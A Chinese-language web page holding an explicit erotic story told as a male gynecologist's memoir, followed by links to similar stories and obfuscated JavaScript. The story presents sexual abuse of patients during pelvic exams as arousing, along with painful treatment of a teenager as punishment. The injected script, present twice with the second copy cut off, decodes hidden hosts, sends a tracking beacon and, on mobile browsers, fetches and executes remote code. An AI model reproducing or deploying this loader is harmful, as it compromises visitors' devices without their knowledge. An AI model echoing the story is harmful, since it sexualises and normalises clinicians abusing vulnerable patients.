做妇科医生的都很清楚,如果对女人采取裸检至少自己要准备承担二个风险:一是身体方面的,女人阴道内的分泌物,其实有时候是一种非常要命的传染源,比如艾滋病毒、性病病毒都可能隐藏在这些分泌物里面,我想谁也不会随意拿自己的生命去冒险,尤其是医生们;二是职业上的风险,可能这个风险更大于前者。 去年与我交好多年的一个同事,就是因为裸检丢了饭碗,大好前程也随着裸检门的事发而葬送,我现在把这个事件当作一个小插曲讲讲。

我这个同事也是我的师兄,出事时已是硕士生导师,而且还是国内某着名妇产科学杂志的名誉编委之一。

男人做妇科医生时间久了或多或少在性心理方面会发生某些微妙的变化,这种变化世界可能只有二个人知道,一是老婆,二是自己。

这种变化带来的心理压力是非常大的,因为在老婆面前要尽量去掩饰,对自己要努力去克制,也不能和他人去诉说解压,不管是朋友还是上帝。

我这朋友是在事发之后在一次喝酒后流着泪讲给我听的,我听了只是沉默,也找不到一句话来安慰他,他是一种什么性怪癖呢,就是恋物癖,说具体点就是看到穿的性感内裤的女人就变得异常兴奋,结果就是既管不住的嘴又约束不了自己的行为。

出事那天是三月七日,科室的女医生和护士大都去医院礼堂参加医院组织的三八排练活动,所以门诊上留下的护士和女医生很少,也该着出事,本来那天也不该他出门诊的,因为这个原因他就临时来顶一个专家门诊,快下班的时候,病人已经很少了,留下的医生和护士也都一个个熘到礼堂去看排练了,当时门诊上也就只剩下他和前台的护士。

这时走进来一个年轻女孩,是很清纯的那一类,女孩说最近感到乳房总是胀痛,在昨晚洗澡时无疑摸到自己左侧乳房似有一包块,很紧张,一晚上都没睡好,今天下午请了假就来了。

他听了就带女孩去检查室,然后让她脱去上衣解开胸罩露出双乳,女孩犹豫着不肯动作,他有点些烦了,就说要不你明天再来吧。

可能是想到今天不看晚上又要煎熬一夜,那女孩红着脸把按他吩咐把乳房露出来,外形上看女孩的双乳发育得很好,大小匀称,圆润坚挺平滑,乳头色泽较浅,这是小女孩的特点。

在乳房扪诊时他并未发现有什么异常,只是在检查中,女孩一直表现得非常窘迫,眼睛一直不敢看他,于是他准备结束这次检查,一边往外面走一边说:“没有什么问题,你最近是不是来月经了?”

那女孩说:“没有,差不多有二个多月都没有来了。”

他听了这话又止住了脚步,转过身问:“哦?之前你有性交史吗?”

女孩本来神态已正常的马上又红了,低声说:“没有的。”

女孩又说:“除了乳房胀痛小腹有时候也隐隐作痛。”

他让女孩脱下裤子躺在检查床上,他怀疑女孩子可能有别的问题,比如卵巢及附件病变都可能会导致乳房胀痛,停经。

那女孩一看他神色变得有些凝重,可能心里就慌了,也顾不得那么害羞,脱下牛仔裤就躺到检查床上,就在他带上PE手套转过身来准备检查时,他之前保持良好的职业心理立即被眼前的一幕彻底击溃了。

女孩可能没有妇科检查的任何经验,也有可能是精神紧张,她并没有脱光下身,还穿着一条内裤躺在检查床上,两条大腿紧紧的拼着,白晰的皮肤在灯光下熠熠发亮。

如果仅是这样还不至于让他失态,让他放弃底线的是女孩的那条内裤,他万万没有想到,一个外表清秀孩纯朴的年轻女孩,却穿着一条极其性感的蕾丝镂空内裤。

他那天对我说到这时,目光变得有些呆滞,可见当时对他的冲击力是多么大。 女孩穿着条粉色蕾丝内裤,粉色本来就是一种能刺激男人性欲的颜色,何况他自己又有间歇性的恋裤癖;通常,医生都会让病人再脱下内裤,以膀胱截石位露体。

但他已开始失控了,眼睛直直的望着女孩那条蕾丝裤,略略隆起的阴阜处恰好是内裤镂空的地方,黑黑的阴毛那一片粉色中间很显眼也很刺激,他没有让她脱内裤,而是走到女孩床前让她把双腿放在检查床的支架上,两腿完全打开后,窄小的蕾丝内裤边缘已有一些阴毛透出。

女孩这时处在一种复杂的心理纠结中,恐慌、羞涩让她脑子变得发蒙。

他略背过身不让女孩看到他的脸,先是把手按在女孩脐下位置,对于一个从医生十年之久的人来说,抚摸与扪压是做得非常谐调的,更何况女孩精神仍在高度紧张之中。

随着扪压的进行,他的手慢慢滑向蕾丝内裤上,当时那种玉体横陈的场景,那条薄如蝉翼的蕾丝镂空内裤给人的手感,不要说是一个有恋裤变异心理的人,就是一个正常的男人也无法独善其身。

他彻底疯狂了,什么医生职业准则,什么妇科条例,什么前程,都被他丢到九宵云外了,用一句来说,上帝要毁灭一个人一定先让他疯狂,只不过让他疯狂的是不是上帝是那条粉色蕾丝镂空内裤。

女孩开始并没有对他有任何不敬之念,因为一般女性对妇科检查的要求和程序并不熟悉,何况她还是一个在校学生。

由于对疾病的恐惧、身体隐私部位的暴露,这些对精神的冲击都使她在短暂的时间内难以恢复对男人的戒备心理,如果他只是的骚扰或亵玩也不会发生后面的事情,但他完全失态了。

他抚摸在女孩蕾丝裤上的手开始微微发抖,而且不再只停留在阴阜上的阴毛上,他把手慢慢挪到内裤下档的地方,虽然他仍是采取临床查体触摸扪压的方式,但那个地方对于女人而言太敏感了,既是生理上敏感区又是精神上敏感区。

女孩开始感觉不适,但她仍然没有怀疑他有什么不轨之举,只是下意识把两腿往里夹了夹,屁股也扭动起来,试图阻隔在外阴游动的那只手,这实际上只是一种本能的自我保护行为,就像有个东西突然冲着你的眼睛飞过来,你会立即闭上眼睛。

但女孩的这种行为更刺激了他,突然他对女孩说:“我真没有想到你会穿这种 女孩愣住了,她怎么也不敢相信一个男医生会和她讲这种与治疗无关的话,女孩还没有反应过来,他又让女孩把内裤脱了,女孩犹豫着,似乎不情愿。

此时他的手并没有停止,仍在不停的扪压女孩的外阴,嘴里还说:“请快点,就要下班了。”

女孩脸胀得通红,很无奈的往下褪着自己的内裤,他见女孩要把内裤全脱掉,就说,你只褪一条腿就行了。

这是一个非常不正常的脱裤姿式,内裤没有脱下只是抽出一条腿,内裤只是褪到另一条腿的膝部,妇科查体时很多女性为了方便只是把一条腿从裤管抽出,然后把内外裤都褪到另一条腿的膝部以下,这样做既可保温,又可以避免光着两条分开的大腿让医生检查,因为这种截石膀胱位于她们惯用的性交姿式太相似了,但像这种外裤脱掉只把内裤褪到一条腿的膝部位置显然很不正常。

他坐在女孩的两腿之间,既没有给她铺臀垫也没有盖腹围,我怀疑他让女孩把内裤褪到大腿上,可能是在做清洗和检查时便于嗅内裤上的气味,他有点忘乎所以了,给女孩做的是三合诊。

以前我说过三合诊,就是以一支手的食指伸入阴道,中指伸入肛门,另一支手扪压在下腹上,我非常不喜欢做三合诊,主要是中指伸入女人的肛门是非常恶心的,有的女人在你中指伸入后,肛门会本能的收缩,加之下腹那支手的作用,有时可能会有粪便溢出,尤其消化不良的女人。

这时我只能停止检查,先清理好被污染的阴部,然后换PE手套再继续,十分的麻烦,他做三合诊时并没有带PE手套,不知是他忘了还是有意为之,我问过他,但对此他始终闭口不答,在事后院方的调查报告中也没有言及这点,只是一言概括说他违犯操作条例,算是给了他一条生路。

他检查得非常用心,二根手指不仅在女孩阴道和肛门内进进出出,他的另一支手还时不时抚摸着挂在大腿上的那条蕾丝内裤,全然没有看到女孩两眼已是噙满泪水,更没有注意到有一个人已进了检查室,这是一个能给制造麻烦的人。

医院是一个非常复杂环境,同事之间关系很微妙,在无利益之争时彼此客客气气表现得非常有素质,非常的绅士,但一旦有升职晋级的机会,那么带来的竟争和挤轧又是异常激烈的。

知识分子互掐起来决不同市井俚妇骂街一般,往往是入骨三分,稍不留意就能让你死无葬生之地,很可惜,我这位同事就遇到自己事业上的竟争敌人。

那女医生一眼就看到他正在裸手查体,再看到内裤的位置以及两眼泪汪汪的女孩,立即就发作起来,他突然见到女医生出现在检查室,当时脸上的表情异常惊慌,因为心不正其心必虚,后面的事情我就不多说了,用一个字来形容就是‘惨’。 在我们这些男妇科医生圈子里有这样一句话,叫做‘宁可脱光裤子决不裸手查体’,裸手检查是大忌。

我怀疑乡长夫人的用意是不是要报复我,因为我曾经拒绝为她做指检,我脑子快速思考着,如何自保,没办法,医院的环境就是那么恶劣,不多长一个心眼就可能落入别人设计的圈套里。

我去办公室拿了张人流手术用的知情同意书,在下面写了“因为本人属橡胶过敏体质,自愿放弃PE手套查体选用裸手查体,一切后果自负”然后递给她。 她躺在检查床上皱着一双秀眉看了看,二话不说就签了字,她签罢字就笑盈盈的看着我,神情十分的得意,俨然自己是一个胜利者。

实事求是的说她很漂亮,尤其是笑起来的时候,一对笑靥泛起在白净的鹅蛋脸上,显得既可爱又俏皮,我没有心思欣赏她的韵致,只是觉得她为什么这样的前卫,在这种状况下她居然能笑得如此轻松,如此旁若无人(男人),她真的把我当成一个无性别之忧的医生了还是别的什么?

我第三次坐在她的两腿之间,决定用二合诊查体(食指与中指伸入阴道,另一支手扪压小腹),当我的二指伸入她的阴道时,感觉还是非常紧,我怀疑她并没有生过小孩,阴道内非常的湿润,阴道壁弹性较好,说明她平时性生活并不是很频繁,于是我问她结婚几年了,她说有五年了。

我很纳闷,对于这样一个对外阴刺激反应异常强烈的女人,为什么性生活这么少呢?我的二指仍然在阴道内探查着,这时我听到她呻呤了一声,我就问她,是不是感觉痛了,她吱唔着说不是。

我明白了,是我两根手指让她有了兴奋感,平时我在作指检时,遇到女人发出低声呻呤或扭动臀部这种情况,我一般会加快指检的速度或是暗暗加大指力使之产生疼痛以缓解女人快感的顿生,因为如果不帮助病人控制,那么医患两人都会感觉非常尴尬,这会影响问诊和病情的探查。

她的快感来得真是快,我的二指在她的阴道内最多还只停留15秒左右我就感觉到她的阴道在开始收缩了,而且非常有力,我有点受不了了,感觉自己的下身处像火一样,我本能的用姆指去抚摸她的阴蒂(强调一下是本能),她立即发出一连串的呻呤,两条腿下意识的夹着我停留在阴道外的手,臀部微微向上抬起,以迎合我伸入的手指。

她阴道内分泌物越流越多,已顺着我的手指溢出,在探查灯光下发着亮光,我没有按常规进一步去探查宫颈及附件,而是把手指停留在阴道的后穹窿,大姆指完全压在她那充血的阴蒂上。

她越来越失态了,根本不想掩饰情欲高涨的娇喘和呻呤声,在这种声音的刺激下,我脑子完全麻木,只感觉下面好热,但又不能以手自慰,只能靠夹紧双腿来摩擦增加快感。

我不想再这样下去,我不是担心自己控制不住,是怕她失控,于是我站起来,背转身给她做宫颈探查,宫颈及附件探查是结合在阴道内二根手指将子宫颈推向后上方,使子宫体向前移位,同时让放在耻骨联合上方(就是生长阴毛那一块地方)的手,向盆腔内按压,将子宫夹在两手之间,来回移动,可查清子宫的位置、大小、形状、软硬度、活动度及有无压痛。

如果宫颈及附件健康,受检者会感觉下体会产生一种酸胀感,还是比较舒服的,我轻轻扪压她的下腹,她那柔软的阴毛不断通过我的手刺激着我的大脑,让我把扪压的手位放得很低,几乎就快到阴蒂了,因为我觉得对她进行二合诊指检本来就是无聊。

我回头看了她一眼,她脸上早已一片潮红,双眼紧闭,嘴唇微张,显然正处于极度兴奋之中。

我伸入阴道的二指向上顶到了她的宫颈,然后另一支手轻轻触摸在她阴阜上,我知道她就会产生一种非常舒服的酸胀快感,果然,在我的手还没有顶五下,她突然大叫了一下,然后身体开始抖动起来,一对丰乳快速起伏着,她的高潮到了! 这件事在过后很久都仍然对我形成刺激,每次我手淫时我都要把这个场景当成一个快感制造之源,这是我第生平第一次感受到成熟女性在性欲表现方面的无穷媚力。

我匆匆结束检查,然后走出检查室,我要给她一个清理身体清理心情的时间,一会儿她也走出检查室,对着我非常妩媚的一笑,然后就款款离开了,望着她窈窕的背影,我有点后悔自己为什么要这么快就结束检查。

有人说长有凤眼的女人一定很骚,也有人说嘴唇丰满厚实的女人一般很骚,但当你看过下面的这件事你肯定会有不同的看法了。

我离开乡卫生院回到了省城医院,没有悬念的被安排在妇科病房做值班医生,这一般是最辛苦的差事,没日没夜的忙不说还经常遇到一些稀奇病例,有的还让你哭笑不得。

记得一个炎热的中午,我刚处理完一例尿插拔管后无尿的病人,洗了手正准备吃饭,一个十七、八岁左右的男生,背着一个脸色苍白的女孩进了值班室,鲜血不断的从女孩腿间流出。

我邹着眉心想,今天这顿午饭是没了,我让男孩把女孩抱进值班检查室,然后问:“她是怎么回事?”

男孩脸一下就红了,嘴唇嚅动了一下没吱声。

我急了:“快说啊!”

他低着头说:“就是,就是和她做那事的时候出血了,怎么也止不住!” 我让他去外面等着,抓了双PE手套就走进去,我发现女孩下身只套了件短裙,里面连内裤都没穿,估计当时的也顾不上穿了。

我让女孩分开双腿,一边用棉签擦试外阴一边查看出血点的大小,我用手撑开她的大阴唇,发现了处女膜7点处活动性出血,我消完毒后,用2.0进口线缝合,血马上就止住了。

在缝合时我没有给她打麻药,这女孩应该还在上高中,我想让她吃点苦头长点记性,在缝合时不知是伤口疼还是针扎着疼,她一直在哭叫着,情形与生产的女人相似,我想如果她的父母看到这一情形不知是该心疼还是生气。

处理完后我让外面那个一脸惊慌的莽撞的小家伙进来,说:“基本没什么事情了,回去打打针吃点药就行了。”

男孩子一连叠声称谢,我语气有些严厉的说:“这段时间不要和她再弄这些事了,知道不?”

男孩红着脸说:“不敢了,不敢了!”

在他把女孩背出去时我才仔细看了一眼女孩的样子,长得挺清纯秀气的,她看到我在看她,脸也红了,她当时那羞涩的样子我现在还记得,很可爱。

上面这事并不算称奇,而下面要说的才真正算得上是奇事一件。

也是那个夏天,我值夜班,在十一点左右时,值班室来了一个非常清秀的女孩,大概有25岁左右,开始我并没有注意她,因为她当时并没有走进来,只是站在门口往里面张望,我以为她是某个病人的陪护。

我写完了一本病例后正在收拾办公桌上的资料,就嗅到一缕香水味,她走了进来。

我看了看她,她脸略有点红,说:“请问这里还有另外一位医生吗?”

我没好气的说:“没有,有什么事吗?”

她的脸更红了,有点艰难的说:“我想看看病。”

我说:“这么晚了只看急症。”

她说:“我是急症。”

我上下打量了她一眼,感觉这女孩挺正常的,不像有什么急症的样子,我让她坐下,然后望着她。

她脸更红了,低着头,一句话也不说,我心想这女孩不是故意来消遣我吧,我有些生厌,就用笔敲着桌子说:“如果没什么急症就明天去门诊看吧,那时可选的医生也多。”

她咬了咬嘴似乎在下决心,终于她对我说:“医生,我下边塞进去了一个东西,后来想弄出来,但怎么也弄不出来了。”

我听了尽量控制着自己的情绪,平静的问她:“你把什么东西放进去了。” 她说:“是一个笔帽。”

我说:“你试过蛙跳吗?”

她不解的望着我,我解释说:“就是蹲下身跳。”

她说:“我已在家跳了不下一个钟头,用手指伸入阴道内仍然找不到。” 我感觉自己的世界观有点颠覆了,以前我总以为这样的事情只应该是一脸凤骚的荡妇所为,但眼前的这女孩了决不是那种荡妇和骚女的模样。

我叫来一个值班护士,让她带着女孩去处理室,看着她的背影想着她把笔帽疯狂的插入阴道的情形,我觉得自己真的不懂女人了。

在检查室里,女孩背对着我和护士,正在脱下她那件漂亮的长裙,她似乎担心不小心污染弄皱了这件质地与做工精良的衣服,然后坐在检查床上慢慢褪下内裤,难为情的分腿躺下。

在她做这些事情的时候,一旁的护士一直在偷乐,我用严厉的目光看了护士一眼,护士吓得吐了下舌头立即收敛。

我打开伟伦检查灯,把光源聚集在她的外阴部,她的阴毛很密集,从阴阜一直延伸到肛门周围,我用手替她整理凌乱的阴毛,使之不影响随后的消毒,我发现她的小阴唇有明显的红肿,阴道口还有陈旧性伤,我想她自慰时的力度一定非常大。 我用棉签探入阴道内,取出未见出血,只是棉签头黄黄的,这是炎性白带的明显症状,如果喜欢插入式自慰的女人大多有阴道炎症,有的甚至可累及宫颈。 我不是我第一次为病人探取阴道异物,在乡卫生院时我曾经给一个八岁的小女孩取出放入阴道内的玻璃球,办法就是肛诊后,单指留在肛内,扪及弹子后将弹子向阴道口方向推移,挤出弹子,当时在场的护士都看得目瞪口呆。

我用阴道镜查看她的阴道,很快就发现笔帽所在的位置,就在阴道穹隆的夹角位置,难怪她跳不出来!我用血管钳探入,入位后将钳头轻轻插入笔帽孔然后扩张钳头,慢慢退出,OK搞定。

一旁的护士似乎想有意羞辱一下她,把放在器械盘内笔帽端到正坐在床上穿内裤的女孩面前说:“你看看,取出来了啊!”

我们常说人要活得有尊严,有的尊严是别人给的,有的尊严则是自己给的,那个女孩是面红耳赤的走出检查室的,颇感羞耻的她甚至都忘记了去交处置费。 小护士颇怪我对她太宽容,没办法,我首先是一个男人然后才是一个医生,对于女人我内心深处总是有一丝的侧隐和不忍。

我喊住了她,说:“还有点问题。”

女孩这才不好意思坐在我的面前,她还没从刚才从里到外的震撼中出来,女孩面带羞涩看着我,一对小手不停的在双膝来回摩擦着,显得很局促,这并不奇怪,几分钟前她不仅裸露着阴部面对着我,而且还把自己最隐秘、最不齿的行为曝光给一个陌生男人,像这样一种心理性的尊严践踏不是片刻之间就能消散的。

我尽量让自己的谈话语气显得平静一些,以免继续给这个女孩心理的恢复带来任何消极因素,我告诉她:“刚才给她探取阴道异物时,发现她的阴道感染已经比较严重了,可能宫颈也有病灶,你是否曾做过妇科体检。”

她听了神情马上变得有点紧张,也不再羞涩,摇了摇头,连声问我:“该怎么治疗?”

我沉默了一下突然问她:“你的手淫是不是比较频繁?”

她脸又红了,用非常细小的声音“嗯……”了一声。

我不想和她继续讨论这个尴尬的话题,让她明天先来医院做一个详细的妇检,我给她开了一些口服抗菌药和坐浴用药,然后让她离开。

她走到门口突然转过身问我:“大夫,明天你在医院吗,我想找你帮我检查。 我犹豫了一下,还是把手机号告诉了她,后来我们常常在MSN上聊天,她似乎忘记了那天晚上的事情,和我聊的都是一些轻松的话题,比如说说正热播中的电视剧,歌星演唱会之类,当然有时候也讲一些让彼此都感暖味的话。

我感觉她似乎在用这个方式在治疗心理的创伤,她也曾约过我喝茶或泡吧,我只去过一次,别的都被我找理由推托掉了,因为和她在一起时我没办法忘记她曾经是我的病人,曾经把自己那么私密的事情坦白于我面前,望着她那清秀的脸庞,我总会想像她自慰时的那种淫荡,这种强烈的反差让我在心理上的感觉很不舒服。 后来我们之间的联系越来越少了,最后她就像在这个世界上蒸发似的,杳无音讯。

我下面再说一件事,虽然并不是由于女人手淫行为引起的,但它还是发生了,其发生的原因与过程都让人感觉匪夷所思。

那是周末的一个傍晚,一般这个时间是病房医生相对最轻松的时候,因为病情不严重的病人大多出院度周末了,剩下的病人也多有家属陪护,少了许多事情。 快七点时,值班室进来一个中年妇女,看年龄大概在35岁左右,她进来后就问护士:“谁是医生?”

小护士瞟了她一眼指了指我说:“他就是。”

我才去医院食堂吃了点东西,回来后医疗服都还没有换上,那女人看了我一眼,脸上露出不相信的神情,我淡淡一笑:“她说得没错,我就是值班医生,有什么事吗?”

女人犹豫着,还不能下决心。

我不再理她,套上一件医疗服就向门外走去,她忙拦住我说:“大夫,你快帮我看看,那玩艺塞在里面真不得劲哩!”

我一时没听明白,就问她:“什么东西,塞在哪里面?”

女人顿时红了脸,看了看小护士,咽了咽口水没吱声,她显然不肯细说。 我望着她又重重嗯了一声,她这才低眉顺眼的开始讲道:“今晚我男人本来要和她行房事,临了才发现我的下面给什么塞得满满的,男人气得脚一跺就出去喝酒了,我也急,就想用手去抠,但不料里面的东西怎么也抠不出来。”

说了半天我还是没有弄清楚她到底把什么东西塞入了阴道,我让她先去检查室候着,然后让护士去叫一个女医生来,像这样不清不楚的病人我都不太愿意接诊,一会儿护士回来说别的医生都不在,看来只能我给她看了。

我走进检查室时,那女人仍然穿戴齐整的躺在检查床上,似乎把这当成酒店了。

我没好气的说:“你把衣服脱了,我要查体。”

女人“嗷……”的一声坐了起来,几下就把上衣脱得净光,然后挺着一对丰满的乳房看着我。

我楞了,马上就明白是自己的问题,恨不得立即给自己一个嘴巴,我找了一条口罩带着,以掩饰自己的尴尬,我一边带口罩一边解释说:“对不起,是我没说清楚,你可以把上衣穿上,我是让你把裤子脱下,因为要检查阴道。”

那女人有点不好意思了,但她并不穿上衣,只是红个脸脱着裤子。

我见她没有什么妇检的经验,便让小护士帮助她落位分腿、调整检查床靠背的角度,以尽量让她躺着舒服点。

看着挺粗俗的一个女人,但她的阴部打开后却是非常的干净,很出乎我的意料,女人的大腿纤细修长,非常白皙细腻,既不丰也不腴;在雪白的检查灯下,她脐下的阴毛又黑又亮,略微卷曲的阴毛基本分布在耻骨的三角区内,显得整齐而自然;她的大阴唇饱满圆润,小阴唇内敛其间,我第一感觉她是一个没有生育史的女人。

这时,我发现检查床上没有铺一次性臀布,本想让护士给她垫上,但我看了一眼她的美臀,就没有张嘴,自己取了张一次性臀布,然后用手轻轻抬起她的屁股,把一次性臀布垫在下面。

我喜欢触摸这种非常有质感的屁股,即使你带着PE手套也能感觉到它迷人的气息。

在伟伦灯下,她的外阴完全裸露在我的视野下,她干净而少有皱褶的外阴让我的消毒工作不用太费劲,为了慎重起见,我决定先对她行指检,我在食指涂了少许润滑油,然后分开小阴唇就轻轻插入了她的阴道,指周有明显的包裹感,说明她的阴道口松紧适度,阴道内弹性颇好,应该是没有生产过。

于是我问她:“你没生过孩子吧?”

她在另一头说:“是哩,结婚七八年了一直都没怀上,也检查过,是我老公不中用。”

其实我并不喜欢用食指在女人的阴道里探查,而且这是我一直的习惯,因为我认为食指是用来帮助自己享受美食的而不是用来插入女人的生殖器的,但妇科医生的指检非常重要,像这种单指或双指插入触诊对一些器质性病变的疾病是非常必要的。

我的食指不断的伸入,但很快就被里面的一个异物顶住很难再进入!我撤出食指改用窥器,但没进入多少也被顶住了,我仔细一看感觉里面的异物是一个黄黄的、球形的东西,直径大概有3公分。

我心想:‘妈的,这是什么东东?’

我就站起来问她:“这里面到底什么,怎么塞得满满的,如果压迫直肠时间长了你大便都可能失禁。”

女人被吓住了,脸红成一片,最后吱吱唔唔的终于说了。

其实她自己的确也不知道是什么东西,这是一个朋友推销给她用的,说其功效能按摩阴道,增强阴道的弹性,还能增加性生活的快感等等。

我望了一眼护士,她站在女人后面正捂着嘴乐,我心说,还是别问了,赶紧取吧。

我坐下再次给女人外阴部消了消毒,然后想用取环钳把那东西夹出来,我原以为取环钳张角一般都在45度以上,夹那东西应该比较容易,哪知那东西是圆的,而且表面上已有不少阴道分泌物,滑滑的,没有着力点,根本就夹不住,我顿时大汗。

在她的阴道内折腾了半天也没有把那球形东西取出来,真他妈的有点黔驴技穷的味道了,我对她说:“实在没办法了,你等会儿,让护士去找来上级医生一起想想办法吧。”

那知她一听就急了:“不行啊,这事本来就好丢人的了,现在不能再让其它人知道了!”

说罢她就在床上扭动起来,我看着她扭来扭去的,白净的屁股都蹭红了,心一下就软了,用手压住她的大腿说:“你别动了,我再想想办法。”

她一听立即就安静下来,然后轻轻对我说:“谢谢你,大夫。”

我在窥镜里又仔细看了半天那东西,感觉形状和颜色都非常的熟悉,但就是对不上是什么,我对她说:“你如果感觉不舒服就告诉我。”

我换了把宫颈钳,然后咬了咬牙把宫颈钳探入,这次我没有再试图去夹那东西,而是用钳头用力顶那东西,很快那球形东西就被钳头顶破了个洞,球形东西里并没有我之前担心的内容物,是空壳,我用宫颈钳夹住然后轻轻往外拉,东西被拉出体后一看,我晕,是只‘双喜’牌乒乓球,再仔细一看,又晕,原来塞的是两个,里面还有一个!如法炮制,终于搞定。

也幸亏乒乓球的皮薄,要是其它的东西,真的不好取了,唉!这些容易上当的患者啊。

她看着盘子里的两只瘪了壳的乒乓球又羞又愧,但嘴里还是反复唠叨着说她的好多朋友都在用,别人怎么都没有事啊。

后来我想了想,可能是她没有生过孩子,阴道比较紧的原因了。


上一篇:我那湿湿的老婆

下一篇:遇到的最专业的鸡,爽死了!!


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var 